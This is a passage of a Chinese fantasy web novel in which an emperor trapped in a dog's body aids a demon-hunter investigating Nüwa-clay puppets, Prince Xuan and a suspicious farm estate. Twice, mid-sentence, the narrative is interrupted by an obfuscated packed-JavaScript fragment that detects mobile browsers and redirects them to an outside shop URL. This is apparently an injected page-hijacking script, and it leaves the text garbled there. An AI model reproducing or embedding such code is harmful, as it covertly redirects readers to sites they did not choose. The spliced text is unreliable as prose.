奚萦冷哼:“巫老板嘴里就没几句实话,如何替皇帝作保?至于查别人,哼,莫非是指在巫老板这里买妖丹的宣王吗?” 巫心柏一脸无辜:“封长老可真是误会妾身了,妾身一直说的实话呀!宣王嘛,唔,您去查一查也无妨,妾身可没办法替他作保呢。” 景辰简直有点感动了,这巫老板究竟是何方神圣啊,两人分明未曾谋面她却愿意替自己作保,好人,啊不,好妖啊!至于宣王,怎么又扯到宣王了? 奚萦不耐烦地再次敲桌,示意巫心柏问题还没回答完。 巫心柏只好继续道:“至于女娲泥,妾身知道的也不多……” 她表情很是纠结,眼神不经意扫过景辰,又很快移开,半晌后才终于下定决心,长长吐出一口气道:“宣王府中有一具女娲泥造的傀儡,他大量收购妖丹,便是为了给这具傀儡塑魂固身。” 奚萦和景辰再次被震惊得失语。 景辰是震惊于自己那个温和儒雅的三叔竟藏着这么可怕的秘密,奚萦则是震惊于“塑魂固身”这几个字。 “一个,一个傀儡,如何塑魂固身?” 巫心柏无奈摊手:“女娲泥本就是许多人和妖的肉身魂魄混合而成,做成的傀儡自然也是身魂兼具的,比如把咱们三个捣碎了搅吧搅吧,然后揪一坨出来捏成个新的傀儡,这个傀儡中约莫有三分之一的妾身,三分之一的封长老,以及三分之一的,小狗狗,若有人想让妾身的魂魄不散,甚至恢复如初,那么反其道而行之,将这个傀儡中属于妾身的部分拆出来,再以同种族的柏树妖妖丹补足魂魄与肉身,说不定就能救回妾身呢。 当然,这不过是异想天开罢了,覆水难收破境难圆的道理懂吧,何况是活生生的妖和人,哪能反反复复地拆了又补啊。” 巫心柏说到女娲泥造傀儡的语气像是小孩子捏泥人一般简单,可这背后暗藏的血腥残忍却让人根本不敢细想,雅舍中的三人再次陷入诡异的沉默。 又是半晌过去,奚萦揉了揉额角,语气带着点疲惫:“那巫老板可知道宣王府中的傀儡是如何得来?又为何要,要为傀儡塑魂固身?” 巫心柏轻轻啧了一声:“妾身打开门做生意的,可不好打听客人这些隐私,宣王替傀儡塑魂固身之事也不过是妾身根据他们的只言片语推测所得,将这些事告诉封长老已经是有违做生意的规矩了,其中内情只能劳烦您自己去细查。” 能从奸猾的巫老板这里撬出这么多劲爆消息已经是难得,奚萦没再追问,末了看向巫心柏道:“多谢巫老板提供的情报,只是不知,巫老板又是何立场,有何目的?” 巫心柏笑得眉眼弯弯,漂亮的暗金色眸子里满是真诚:“当然是希望妖务司早日查清妖族失踪之事,替那些受害妖族同胞讨回公道,肃清邪佞,还妖界清明啊。” 奚萦点点头,收起桌上三只傀儡老鼠,同巫心柏告辞。 景辰还没有从刚才那一连串的劲爆消息中回过神来,恍恍惚惚跟在奚萦身后走到万宝楼门口,就听巫心柏笑着道:“封长老慢走,下次再来哦,小狗狗。” 小狗狗?这恶心巴拉的称呼唤回了景辰的注意力,他一言难尽地看了那巫老板一眼,很想骂人,但看在巫老板替自己说话的份上又忍住了,最后撇撇嘴跟奚萦一起离开了万宝楼。 奚萦脚步有些沉重,景辰不声不响地跟在她后面,原本说好去逛街,这时两人都有些兴致缺缺的。 奚萦在想巫心柏的那番话,这位巫老板始终有所保留,对于她的话奚萦自然没办法全盘相信,但她的确提供了许多有用的线索,当务之急是先查宣王府中傀儡之事,然后等联系上封狐狸,再找他确认一下女娲泥的真伪。 再则便是皇帝,皇帝真的像巫心柏说的那般无辜吗?她得利用沈嫔的身份多跟这位皇帝接触一下才行…… 景辰也在想巫心柏方才的话,不过他的关注重点在宣王身上。 宣王是隆庆帝唯一的弟弟,两人虽非一母同胞,但皇家子嗣单薄,故而隆庆帝几乎是将宣王当儿子养大的。 景辰前头有三个兄长两个姐姐,可惜尽数夭折了,待景辰出生时,偌大的宫中就只有他和宣王两个孩子。隆庆帝虽然对儿子和弟弟都疼爱有加,但国事繁忙,父子兄弟相处的时间并不多,太后常年卧病,有时好几天也难得见亲儿子一面,故而整个童年少年时期,景辰最亲近的人不是父皇也不是母后,而是这位比他大八岁的小叔叔,两人虽是叔侄,实则更像兄弟。 景辰的印象中,宣王性格温和内敛,对身边每个人都和煦如春风一般,小时候两人一起养的鹦鹉死了,三岁的景辰都没哭,十一岁的宣王倒是偷偷哭了好几次,这般善良温柔的一个人,他最亲近的小叔叔,忽然牵扯进女娲泥这般血腥可怖的妖鬼之事,无论他是受害者还是加害者的身份,都让景辰难以接受。 而且,若巫心柏所言属实,宣王费了极大的心力替一具傀儡塑魂固身,能让他这么上心的“人” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232558|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,景辰能想到的只有一个,宣王侧妃岁洵。 岁洵嫁给宣王已有九年,景辰只在当年大婚时见过这位三婶,印象中那是个极美的女子,可惜一直重病缠身,两人成婚这么多年,别说生育子嗣了,这位侧妃连王府大门都没迈出去过,宣王为了岁洵几乎求遍天下名医,这件事无人不知,尤其是景辰登基后,但凡有点名气的医者,无不以皇命延请入京,上供来的珍贵药材也都紧着宣王府,就算他病重无法理事的时候,也都不曾短过宣王府的供给。 若岁洵只是一具傀儡,一具以极其残忍的手段制成的傀儡,景辰想想都觉得绝望至极…… 至于宣王对自己有所隐瞒这一点,景辰一开始心里有些不痛快,但想想这背后可能涉及到的血腥阴谋、凡人难以抗衡的妖鬼之力,他安慰自己,一定是三叔不想连累他,毕竟他也只是个要死不活的病秧子啊。 就这样一路恍恍惚惚地想着事,景辰不知不觉中跟着奚萦进了一家商行,掌柜热情的招呼声将他神智唤了回来。 “贵客楼上请,楼上请!需要点什么您尽管开口,咱们长盛行的货品质上乘价格公道,要论齐全那也是雍都妖市头一份的,包您满意!” “你问我家狗想要什么吧。” “呃,这位狗爷,呵呵呵,狗爷您想要点什么?” 景辰被叫了好几声“狗爷”才反应过来是在叫自己,那番复杂又惆怅的心情顿时散了个七七八八,他忍不住冲那圆胖圆胖的掌柜怒骂道:“你才狗爷,你全家都是狗爷!” 差点被喷了一脸狗口水的胖掌柜尴尬地冲奚萦笑笑:“您家狗爷这是有何需求?劳您替他说说?” 奚萦哪知道她家狗爷有啥需求,她纯粹就是哄狗高兴来着,养狗嘛,也讲究个张弛有度,今早富贵儿被气哭了,再想到书房中那厚厚一摞的训狗计划,她决定先给这倔狗一点甜头尝尝,让他知道自家司主大人其实也是很好的,以免之后操练狠了他心里记恨自己。 “喂,过了这村儿可就没这店儿了啊,富贵儿你快说想要什么,不说的话我们就回去了。” 景辰从小到大要什么没有,何况从来都不需要他开口要什么,天底下的好东西都会自动送到他面前来,忽然被人拉进商行问他要什么,他一时哪能想到。 何况这女人先前说了,只能花五个灵石,他哪儿知道五个灵石能买什么。 景辰端端正正坐在地毯上,保持着惯常的夹紧尾巴并拢双腿的姿势,目光从胸前看到脚尖,又从脚尖看到胸前,努力思考着这具狗身缺点什么。 奚萦自认为精通读狗之术,也跟着他上看下看,忽然,她一拍巴掌,欣喜道:“我知道了!你想要条裤衩对吧?” 景辰:“啊,你说啥?” 奚萦:“你看你,天天夹着尾巴拢着腿,是不是没有衣物蔽体害羞了?嗐,你这狗怪里怪气的,我早该想到啦,掌柜的,有没有能给狗穿的法衣啊?不用披风袍子什么的,穿着不方便行动,能挡住重点部位的裤衩就行,我家狗矫情得很,得穿条裤衩。” 景辰:“……” 想骂人,但也有点想要裤衩,他最终选择闭嘴,但狠狠翻了个白眼给这神经病女人。 胖掌柜听得一愣一愣的,但要保住雍都妖市头一份的货品齐全之名,他立即笑道:“有,当然有啊!刚进的一批法衣,有两套适合幼崽尺寸的,稍微改改,呃,给您家狗爷穿那也是正正好!” 奚萦连连点头:“好好,那麻烦掌柜按照我家富贵儿的尺寸给改改,另外再给他缝个兜,能当储物袋用的那种……” “好嘞好嘞!” 景辰:“……” 小半天后,一人一狗离开长盛行时,景辰已经是一条有裤衩穿的狗了。 奚萦十分满意:“瞧这颜色,白得像雪,红得似火,多醒目啊!再看这材质,是刀枪不入水火不侵的冰蚕丝呢!再说这价格,十个灵石啊!严重超支了!所以富贵儿你还有什么不高兴的?” 景辰有什么不高兴的?他哪儿都不高兴!堂堂大雍天子,穿条带红兜兜的裤衩子满大街溜达,他如何高兴得起来?可想想刚才还连条裤衩子都没穿就满大街溜达,他更不高兴了! 景辰怒吼:“就不能给朕买一整套衣服吗?这,这像什么样!” 奚萦连忙捂住狗嘴:“噫,可不能当街脱裤子啊,你可是条有尊严的狗。” 景辰挣扎:“朕还有个屁的尊严!” 一人一狗吵吵闹闹着往妖市出口去了,他们身后的暗巷中,一道不起眼的黑衣身影悄悄跟了上去。 21. 这女人专坑自家狗 这次的妖市出口开在雍都西市一处酒楼空着的雅间中,午时刚过,酒楼里很热闹,奚萦一打开门差点撞上个醉鬼,醉鬼扯着嗓子大叫:“你、你是不是瞎!这是偷、偷的什么,大寿桃?” 奚萦瞅瞅手里的寿桃狗,寿桃狗也一脸无辜地瞅瞅她,嘿别说,这白里透红的扮相,晃眼一瞧还真挺像寿桃! 奚萦忍着笑,闪身避开醉鬼抓来的手,三两步跳下楼梯,混在食客中出了酒楼大门,消失在人来人往的街市上。 她前脚刚离开,后脚一个黑衣蒙面的男子再次打开雅间门,跟门外晕头转向的醉鬼撞了个正着,醉鬼大怒:“同伙?抓、抓小偷啊——” 话音未落,人已经从楼梯上飞了下去,嘭地一声摔在一楼大堂,痛呼声不绝,而那黑衣人早不见了人影。 与此同时,奚萦正领着景辰优哉游哉地在西市晃荡。 自从穿上裤衩,景辰比之前裸奔的时候更别扭,总觉得满大街的人都在偷看自己,他实在没有心情逛街,跟奚萦抗议起来:“喂,青天白日的你不去干点正事吗?女娲泥傀儡的事不查了吗?许美人的死不查了吗?还有宣王——” 说到宣王的时候他顿了顿,想想还是觉得自己亲自去问三叔更好,可惜宣王被他派去姚州了,也不知何时能回来,唉。 “或者去查一下那个巫老板也行啊,这妖奇奇怪怪的,说什么朕的长辈有恩于她,朕怎么不知道这事儿?她又是什么时候保护过朕?” 奚萦被他这一阵嗷嗷嗷的乱嚎吵得耳朵疼,一把拎起脚边的狗子,伸手捏住狗嘴,继续闲庭信步似的瞎晃悠。 被噤了声的景辰气得直哼哼,奈何打不过女魔头,索性腿一伸眼一闭,装死算了。 半晌后,景辰感觉周围变得安静了,耳边还有哗啦啦的水声传来,他疑惑睁眼,发现竟然已经来一处的石桥下,河水湍急,四下无人。 景辰的心莫名一紧,暗道这疯女人莫非又要搞什么游泳比赛之类的玩意儿,正想瞅个空子溜之大吉,却听奚萦语气淡淡地开口:“哼,故意让你跟着还好几次差点跟丢,快出来让我看看是谁派来的蠢货。” 奚萦说完便往桥墩上一靠,姿态悠闲,有一下没一下地撸着自家富贵儿的狗头,此时艳阳高照,正是一天中最热的时候,好在河水十分清澈,桥下倒还算凉快,而更凉快的,是景辰的心。 他紧张得眼珠子乱转,扭着头将周围打量了一圈,这地方空荡荡的,石桥也甚是简陋,根本没有藏身的地方,他觉得奚萦又是在跟鬼啊妖啊之类的东西说话。 好半天没有动静,景辰不禁怀疑奚萦是搞错了,然而下一瞬间,奚萦忽然抬手将他往身后大力一扔。 “嗷,疯女人你又要干嘛——” 就算这几天被吓了很多次,景辰还是没办法习惯奚萦这种动不动就扔狗的行事风格,以至于忘了自己已经学会轻身术这件事,啪地一下摔在岸边草地上,屁股生疼。 奚萦也懒得吐槽这蠢狗了,厉声喝道:“守好此地,别让人闯进来。” 景辰的骂骂咧咧被这声厉喝打断,正想问别让谁闯进哪儿,就看到奚萦素手轻抬,白光一闪而逝,一道无形的结界将方圆百丈之地笼罩住,而她整个人化作流光倏然消失在河面。 他张了张嘴又闭上,神情讪讪,想着要不趁机跑路算了,然而四条腿却老老实实钉在原地,眼睛也不自觉地四处转悠,开始帮奚萦望风。 奚萦水性极好,一入水便似游鱼般直冲河底而去,她右手执剑,左手并指为掌,轻飘飘一掌拍进河底泥沙中。 霎时间整个河床都微微震动了起来,原本蜷缩在石缝中或是漂在河水里的各种水草藻类全都像打了鸡血一般抖擞起来,疯狂伸展开根系藤蔓,将清澈的河水搅得浑浊不堪,甚至渐渐掀起了浪头。 恰在此时,一团如浓墨般的黑影从河底乱石中嗖地弹出,速度极快,似是想要逃出这条沸腾的河,然而疯长的水草比它更快,四面八方探来的枝条如同触手一般将那团墨黑层层包裹,一圈又一圈,几乎眨眼间便缠成了硕大一团水草球。 奚萦不紧不慢地游到水草球旁边,像拎自家富贵儿一般将这团比十个狗头还要大的东西拎起来,哗啦一下破水而出,然后手腕一甩,水草球被她砸在了桥底下望风的富贵儿脚下。 从下河到搞出发洪水般的大动静,再到抓着不明球体重新上岸,整个过程不到半盏茶的时间,把景辰看得目瞪口呆。 自从见过奚萦徒手打虎、称霸乱葬岗、夜游皇宫这些壮举,他已经对这疯女人的武力值有了极高的认识,方才又见识到她兴风作浪的本事,心里不由得对她再高看了几分。 他甚至隐隐有个念头,这女人莫不是传说中的仙人吧? 之所以没有怀疑奚萦是妖,一是她曾说过自己并非妖族,不懂化形之术,二是在妖市见过五花八门的妖怪,又近距离接触过巫心柏后,景辰明显感觉出奚萦和妖是有区别的,具体区别在哪儿他却说不上来。 此时看着脚边巨大的水草球,景辰张了张嘴,想问这到底是什么玩意儿,但还没来得及出声,那球居然嘭地一声炸开了。 “哎,小心!” 奚萦提醒了一句,人却没动,眼睁睁看着自家小白狗被炸成了小黑狗,浑身白毛卷曲碳化,唯有一条价值十个灵石的昂贵裤衩依然□□,牢牢护住了狗子的下半身。 景辰被炸得脑袋瓜子嗡嗡响,四脚朝天瘫在河边,整条狗都是懵的,因此也没注意到一团黑乎乎如淤泥般的东西从炸开的水草球里冲了出来,飞快遁入地下,而原本笼罩住整座石桥的结界被反复撞击几次后,发出一声极轻的脆响,像磕到石头上的鸡蛋般,“咔嚓”一下碎了个小口子。 奚萦看着自家蠢狗被炸飞,刚抓的小妖也溜了,有些无语地揉揉额角,上前抓起地上的黑炭狗,十分嫌弃地抖了几下,抖落满地黑灰,阴阳怪气道:“哎呀,不愧是价值十个灵石的裤衩呢,质量真好,你说是吧富贵儿?” 景辰看都不想多看这家伙一眼,她就算是个仙女,也是扫把仙之类的,是老天爷派来专门来坑他的,每天至少坑他一次,多坑多赚! 奚萦见手里的狗不动弹也不吭声,还以为他真被炸坏了,赶紧摸摸狗头又摸摸狗肚子,没发现什么伤处,遂提着狗到河里随便涮了涮,拎在手里去追逃跑的小妖了。 奚萦一路上神神叨叨的,时不时停下摸摸路边的花草,揪揪树叶,叽里咕噜不知道在说什么,一人一狗说是在追逃犯,却又不紧不慢东拐西绕的,一会儿进城,一会儿又出城,追了半天,终于追到城南的一片田庄上。 田庄极其广阔,大片大片的水稻挂着饱满的稻穗,一眼望不到头,方圆百顷之地唯有一座三进院子矗立在低矮的山脚下,一看便是大户人家的田产。 四下无人,奚萦也没着急去那处院子里探查,反倒寻了棵老槐树落下,准备跟自闭了一路的狗子沟通一下。 景辰像条无欲无求的死狗,奚萦拎着他到处跑他不吭声,将他放到树梢上,他也安安静静就地一趴,小小的身子上写了两个大大的“委屈”。 奚萦难得语气温柔,可惜说出来的话还是那么不中听:“富贵儿你怎么啦?炸傻了吗?不就是张低阶火符吗,顶多就烧了点毛而已,很快就能长出来啦!” 景辰给了她一个混合着嫌弃、恼怒、委屈、不解的眼神。 奚萦一拍手,了然地“哦”了一声,解释道:“你是不是气我放跑了那泥鳅精?嗐,笨狗,这叫欲擒故纵知道吗?你看原本是他跟踪我们,现在形势倒转,变成了我们跟踪他,还一路摸到了他的老巢,你家司主厉害吧?” 景辰扭头给了她一个白眼,奚萦忍不住在他脑袋上敲了一下:“啧,看你先前演得挺好,我还以为你脑子聪明了一回呢,结果你搁这儿跟我生闷气?富贵儿啊,你家司主我可是要干大事的,成大事者不拘小节,难免有所牺牲嘛,何况你又没受伤,就是毛烧黑了点而已,瞧这炭黑色,深沉中带着内敛,低调又不失奢华,这不比你之前那没断奶的小白脸模样帅气多了?” 景辰这下连白眼都懒得给她了,无精打采趴在树梢上,眼神放空,心中冷哼,女人的嘴骗人的鬼,奚萦嘴里的话,他是半个字都不会信了。 奚萦可不是个温柔细致有耐心的主儿,三两句哄不好就拉倒,让他自己想通去吧,于是摸摸狗头,吩咐道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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金内侍喏喏应了,连忙出去吩咐小太监传张谦,一回来就看到景辰在书房中来回踱步,一副坐立难安的模样,他不敢打扰,上了茶便安静地缩在柱子背后装假蛇。 很快,铁塔似的方脸大汉张谦到了,他恭恭敬敬行了礼便再无多话,安静等着景辰的吩咐。 景辰其实有些拿不准到底要不要派兵去帮奚萦,他知道这女人极厉害,今日之事又涉及妖鬼,普通军士去了未必能帮上忙,可他心里始终不安,总觉得田庄上那处院子是个陷阱,何况这件事已经牵涉到皇宫内院,牵涉到宣王,也定然牵涉到他自身安危,无论如何也不该袖手旁观。 这种纠结也只是片刻,景辰向来不是优柔寡断的人,他吐出一口气沉声吩咐道:“张谦,你从羽林卫中挑一百精锐,乔装成普通人,立即去城南一处庄子外守着,若今晚酉时末还不见人出来的话,就强行入内搜查,务必找到一名着蓝衣的女子,将她安全带回,若她酉时前出来了的话,你们就赶紧撤离别让她发现。院中或许有妖鬼之物,千万小心。” 前半段张谦听得一头雾水,最后“妖鬼之物”几个字更是让他的黑脸都差点变了颜色,但作为皇帝的亲信,羽林卫统领,对于景辰的命令他绝不会有任何质疑,当即领命,将景辰交代的田庄位置仔细记下后便出去召集了人手,迅速赶往景辰说的那处庄子。 张谦离开后,景辰在金内侍的伺候下用了顿不算午膳也不算晚膳的膳,整个就是味同嚼蜡,勉强吃了几口后,又看了会儿折子,实在看不下去,眼见着太阳开始西沉,他终于坐不住了,起身快步回寝殿,边走边小声叮嘱金内侍:“去找两套寻常衣衫,你也换上,我们出宫一趟。” 金内侍眼珠子差点瞪出来,这就是传说中的微服私访吗?老天爷啊,这可是头一回呢,激动!而且刚刚景辰说什么来着,让张谦去城南接一个女人,女人啊! “好嘞!”金内侍一时竟连敬语都忘了,旋风似的冲出寝殿去找微服私访的服装了。 景辰看着金内侍激动得一扭一扭的背影,总觉得哪里不对劲,但他又说不上来。 22. 这可是她送的第一件礼物,不能弄丢 金内侍很快就带着一套水蓝色常服回来,他自己则换上了一身浅绿色的袍子,他原本就是细长条的身形,脸也生得平平无奇,这会儿从头到脚一身绿,简直像根瘦不拉几的小葱,难看得紧,景辰在心里微微嫌弃了一下,强忍下了让他换套衣服的冲动,安慰自己天马上要黑了,带着这根绿不拉几的玩意儿应该也不会太显眼。 金内侍满心激动,哪里注意到自家陛下的嫌弃,麻溜地上前替景辰更衣,然而刚解开裤带,他就忍不住咦了一声。 景辰正走神,忽然听到这声“咦”,下意识顺着金内侍的视线低头,然后,他看见了一抹十分眼熟的白。 是那条后面有个红兜兜的,价值十个灵石的,宝贝裤衩! 景辰顿时惊得倒吸一口凉气,慌忙夺回自己的裤带,结结巴巴道:“你,你出去,朕,朕自己更衣!” 金内侍先是惊讶,抬头看到景辰尴尬得俊脸微红,脑袋顶都快冒烟了的模样,当即又了然,十分贴心地假装无事发生,默默退到寝殿外,尽职尽责地帮着守门。 确定金内侍离开后,景辰才小心翼翼拉开裤带再次确认了一下,没错,就是那条裤衩! 不愧是十个灵石的法衣啊,不仅水火不侵,居然还能自行变大变小!啊不是,这不是重点,重点是为什么穿在富贵儿身上的裤衩,会跟着他回到这具人的身体上啊? 莫非是传说中的滴血认主?也不对啊,他又没流血,被炸的那一下也只是烧焦了些毛发而已……还是说,属于他的东西,其实能在两具身体之间自由传送,就像他的魂魄一般? 可是也不对啊,他作为景辰时身上穿的衣物就没有变到富贵儿身上去,只有这件法衣裤衩跟了回来,莫非这就是是价值十个灵石的法衣的独门秘法?或者是属于富贵儿那具狗身的独家秘法? 景辰想破了脑袋也想不通,何况现在也不是纠结这种小事的时候,他三两下脱掉外衫,正想把这条裤衩也换下来的时候,又想到另一个麻烦的问题,这玩意儿一看就不是织造局做出来的东西,而且贴身亵裤他从来不穿第二次,就这么换下来的话,肯定会被收走处理掉,好歹也是那人送的第一件东西,她给灵石的时候那一脸心疼的模样也不像是演的,若就这么丢了的话,她肯定会找他的茬吧? 咳咳,倒也不是真怕了她……唉好吧好吧,他就是怕了她,所以还是先穿着吧,嗯,看上去还挺干净,只穿了不到一天,待回宫后悄悄洗一下收好便是。 至于堂堂皇帝陛下要怎么偷摸洗裤衩晾裤衩,这种事情难不倒他的! 裤衩的问题解决了,景辰快速换好衣服,招呼金内侍出发。 景辰还是第一次微服出宫(用富贵儿的身份出去当然不算!),不知道该是怎么个章程,一来他不愿惊动太多人,免得又被那些老家伙们念叨,二来这具人身灵气实在有限,没办法用轻身术赶这么远的路,于是问金内侍:“你知道怎么偷,呃不是,低调点出宫吗?” 金内侍心领神会,立马切换到做贼的状态,凑到景辰耳边鬼鬼祟祟道:“您跟着奴才走,保管低调!” 景辰将信将疑,但他又没这方面经验,只好信了金内侍。 两刻钟后,缩在杂草丛中的景辰看着眼前的狗洞,再看看旁边一脸兴奋的金内侍,强忍下揍人的冲动,低声喝问:“这就是低调的出宫方法?钻狗洞?” 金内侍小声解释:“宫里到处都是巡逻的羽林卫,若不是您后宫空虚,许多宫室空置着,要找个狗洞都不容易呢!您将就一下吧,奴才绝对守口如瓶!” 景辰气得说不出话来,敢情他无心后宫种下的因,竟是结出了今日钻狗洞的果? 金内侍见他一副不情愿的模样,只好身先士卒,给尊贵的皇帝陛下打个样,于是一撩衣摆,呲溜一下钻了出去,片刻后又从那边探出脑袋,眼巴巴地看着景辰。 景辰一时竟无言以对,纠结片刻,最终还是把心一横,不耐烦地挥挥手示意金内侍把他那颗丑脑袋收回去,然后学着他的模样匍匐下去,费力往狗洞里钻。 这洞虽叫狗洞,可景辰这会儿又不是狗身,何况他当狗的经验也就几天而已,天赋技能还未曾拓展到钻洞这方面,不像金内侍,本体是条蛇,钻洞的技术那可比狗还高明,两人身量差距也不小,所以金内侍钻过去只是呲溜一下,景辰却吭哧吭哧半天还卡了半截在里头。 金内侍只好上手去拽,两人齐心协力,费了老鼻子劲儿,总算勉强钻了出去。 景辰的人身可没有狗身那般皮糙肉厚,这番折腾下来,衣服脏了不说,后腰处似是擦破了皮,火烧火燎地疼,他忍不住扶着腰轻轻嘶了好几声。 金内侍却联想到先前替他更衣时的惊鸿一瞥,雪白的亵裤后边儿,是一抹极扎眼的红,莫非这是,伤上加伤了? 他关切道:“陛下伤着哪儿了?要不待会儿出去找家医馆看看?奴才曾听张将军提过,城南的回春堂最擅治外痔,刚好我们要去城南——” 景辰蹙眉打断他的胡咧咧:“少废话,赶紧带路,别耽误朕的正事。” 金内侍闭了嘴,心里却不由得嘀咕两句臭和尚年纪轻轻竟然讳疾忌医之类的歪话。 主仆两人做贼似的溜着墙根儿走,路上巡逻的侍卫看到这两个形迹可疑的人,想上前拦下询问,却都在看清了皇帝陛下那张冷酷的俊脸和金内侍古怪的神情时十分有眼色地选择了无视,于是,景辰和金内侍顺利“潜出”了皇宫。 * 时间再往回倒一点,今日下午,奚萦将闹脾气的富贵儿收起来之后,直接翻墙进了田庄。 院中杂草丛生,枯枝败叶落了满地,一层叠着一层,沤在最底下的已经散发出腐烂的味道,廊柱栏杆上的油漆斑驳脱落,露出内里朽烂的木头,本该整齐的青瓦被野草拱开,被风雨打落,成了歪七扭八的一团又一团。 眼前的场景让奚萦有种恍然间穿过了数百年时光的错觉,明明 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然而招魂幡挥舞了半天,别说鬼了,连个残魂都没招出来,也不知道这算是好消息还是坏消息,奚萦就当是好消息了,收起招魂幡后,她抬步走向硕果仅存的完整建筑——东厢房。 房间里的灰厚得像是能将人埋起来,奚萦只好一直脚不沾地地飘着,而此时太阳已经西沉,阳光被西侧的残垣断壁枯树杈子挡了大半,东厢只剩暗沉沉一片,房中零星几件家具物什也烂得看不出原本模样,帐幔被褥更是不见踪影,这让她莫名觉得自己成了只鬼,这地方土生土长的鬼。 这片厢房本就不大,又空荡荡的一览无余,奚萦很快就看了个遍,除了一直往她后衣领钻的阴风有些渗人之外,也没别的古怪东西,正打算离开时,一道沙哑暗沉的声音却忽然贴在她耳边响起:“别,走……” 纵然奚萦是玩鬼的行家,冷不丁来这么一下还是让她本能地倒吸一口凉气,何况她莫名觉得这声音有些耳熟,连忙侧头去看身后,却什么也没看到,她等了片刻,那沙哑的声音也没有再响起。 “你是谁?让我留下做什么?不说话的话,我可要走了啊!” 还是没有回应。 奚萦却没急着离开,而是又在东厢房飘了两圈,忍着恶心把烂成一堆堆不明物体的东西翻开仔细搜了一遍,还是连个形状完整的可疑之物都没发现。 西沉的太阳此时已经只剩半缕余晖,堪堪穿过破败的院子,歪歪扭扭落在房檐下,奚萦心中莫名升起一丝急切,想也不想便往房门口飘去,然而还没走出房门,那个沙哑的声音再次贴着耳朵响起:“别,走……” 这声音好似带着某种道不明的魔力,瞬间将奚萦钉在原地,巨大的恐慌像蛰伏了许久的猛兽从黑暗中扑出,一口咬住了她的心脏,而她终于知道这声音为何耳熟了。 这分明就是她自己的声音。 23. 许宅迷雾 景辰和金内侍赶到城外田庄的时候,天已经黑了,旷野中唯余一座三进院子亮着灯火,吵嚷声时不时从院中飘出来,像是有很多人在争吵,景辰心中升起不妙的预感,催着驾车的金内侍赶快过去。 车还没停稳,景辰就掀开车帘一跃而下,吓得金内侍手一抖,一鞭子抽在马屁股上,马儿吃痛嘶鸣,咻地一下冲了出去,拉着车一头扎进稻田里。 金内侍哀嚎,这下好了,租马车的押金拿不回来了,也不知道景辰愿意给他报销不。 景辰可没功夫搭理这蠢东西,头也不回地冲进田庄大门,一进去就看到张谦指挥着侍卫们四下搜查,十来个衣衫破旧的佃农在院子正中跪成一排,领头的中年男人看上去穿得齐整一些,想来应该是田庄管事。 “人找到了吗?” 听到这句问话,张谦一回头,看到自家陛下跟天降神人一般忽然出现在身后,顿时惊得下巴差点掉地上,连忙行礼,被景辰不耐烦地挥手打断,再次问道:“人呢?” 张谦强忍着惊讶,偷瞟了一眼景辰的装扮,小心翼翼答道:“启禀陛,启禀公子,属下按您的吩咐守到酉时也未曾见任何人从田庄出来,当即带人围了庄子入内搜寻,目前,目前还未找到人。” 果然如此。 景辰看了那群瑟缩发抖的佃农一眼:“这些人怎么说的?” 张谦道:“他们都说不曾见过任何外人进庄子。” 这时,那为首的管事大声道:“你们究竟是何人?为何强闯我家田庄?” 这人脸盘方正,皮肤黝黑,长了一副老实人模样,而他身后那群佃农更是缩成一团瑟瑟发抖,跟张谦带的这群牛高马大的羽林卫一对比,简直就像是遭了山匪的可怜人,景辰也难免跟着心软了瞬间,可一想到女娲泥,他又立刻硬起心肠,冷声问道:“这田庄的主家是何人?” 管事挺直了腰杆义正言辞道:“我家主乃是许尚书长子,兵部主事许大人,当今陛下的岳家!尔等竟敢在天子脚下擅闯朝廷命官宅邸,当心吃不了兜着走!” 张谦听到这话差点笑了,但旁边的景辰脸色黑得像锅底,他只能强行绷紧嘴角,怒喝道:“闭嘴!休得无礼!” 景辰沉默片刻后,眼角余光恰好扫到门口一身狼狈的金内侍,当即吩咐道:“金内侍,传朕旨意,兵部主事许绍明勾结邪佞祸乱宫闱,以下犯上意图不轨,着王朗即刻查抄许家,男丁收押慎刑司待审,女眷软禁府中,禁绝探视。” 金内侍吓得差点被门槛绊倒,张谦也惊讶极了,景辰封太子入主东宫后,张谦便是他的侍卫统领,算是看着他长大的,这位陛下脾气是有点大,但绝非心狠之人,向来极重规矩,这种不经吏部核查,不经三司会审,直接将朝廷命官定罪抄家的事可从未有过,将人押入专管宫闱内眷的慎刑司更是莫名,就算许尚书早已亡故,许主事也不过是六品小官,但好歹许美人是宫妃,尸骨未寒之时便抄了她娘家,情何以堪哪? 见金内侍没吭声,张谦也欲言又止的模样,景辰的脸色更沉了几分,怒喝道:“还不快去!若是敢让许家跑了一个人,朕拿你们是问!” 金内侍赶紧应声,张谦也连忙安排人护送他去传旨,而原本正义凛然的管事终于反应过来,整个人像丢了魂似的瘫软在地,景辰懒得再管他,吩咐人将之看好后,大步朝内院走去。 院子不算大,景辰很快看了一遍,的确什么也没发现,其实他也知道,张谦带着百来号人搜了这么久,区区一座三进院子,若藏了人的话,就算是在地砖缝里也该找出来了,但直觉告诉他,那女人还在这里。 想到这儿他又有点生气,说什么在心里默念对方的名字就能沟通了,结果这家伙一直不告诉自己她叫什么名字,莫非是存心的?她平日里召唤自己从不看时间场合,现在出事了又变哑巴,这都是些什么臭毛病啊! 可是转念一想,每次召唤他过去,都是些虽然恶心十足,却没什么危险的事,莫非这次是真的很危险,所以才不叫他了吗? 景辰有点欣慰又有点不服气,心情很复杂,下意识抬步走进了眼前敞开的房门。 进门的一瞬间,他觉得自己好像跟门外的世界隔绝开来,原本纷乱嘈杂的脚步声、侍卫们或低或高的交谈回话声,甚至连远处稻田中的蛙声虫鸣,都齐齐远去了。 